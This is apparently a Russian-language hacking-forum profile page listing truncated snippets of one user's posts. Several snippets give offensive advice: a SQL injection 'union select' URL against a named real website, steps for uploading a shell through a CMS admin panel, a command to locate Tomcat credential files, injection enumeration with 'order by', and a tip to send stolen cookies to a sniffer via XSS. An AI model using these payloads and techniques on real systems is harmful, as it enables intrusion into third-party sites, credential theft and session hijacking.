Recent Content by Aртем

генту хекерская система!

разрешаешь в добавляемом контенте исполнять php код, и пишешь то что надо.

Нет, Вы не так поняли. Просто попробуйте в допустим CMS Drupal создать новость со встроенным веб-шеллом, и у него не хватит прав на исполнение, ни...

Собственно интересует вопрос по разграничению прав не веб-сервере. Какие права присваиваются например веб-шеллу который исполняется по средствам...

ручками чекни

find / -name tomcat-users.xml

Заливка шелла в ABO.CMS [1] Управление -> Скрипты -> Добавить скрипт: Название: test Описание: test Содержимое: <?phpinfo();?> Сохранить [2]...

http://www.avk-bearing.ru/n.php?id=7+and+1=0+union+select+1,2,3,4,5--...

ты забыл добавить одно НО, если у пользователя из под которого работает скрипт ЕСТЬ ПРАВА НА ВЫПОЛНЕНИЕ операторов INSERT/UPDATE/DELETE. Хотя...

ну и по традиции давай аттач, в целом не плохо, но не универсально. и например что бы в этой теме не было два миллиона вопросов по типу "Что...

Не пускайте гугл к компьютеру, попомните мои слова. На первых этапах всё производимое этой компанией, будет БЕСПЛАТНО, пока не отвоюет дикую часть...

в цене и в требованиях у регистратора от клиента

А если например не изобретать непонятный велосипед, который возможно рухнет под интеллектуальным натиском, заюзать например пхп-класс который...

Как ты пытаешься провести инъект, если ты даже не знаешь что он тебе отвечает? order by 10000 -- order by 1 -- order by 4 -- union select...

в ксс отсылаешь куки на снифер, что сложного, тебе же дали статью, подумай наконец в первый раз в жизни СВОЕЙ головой САМ.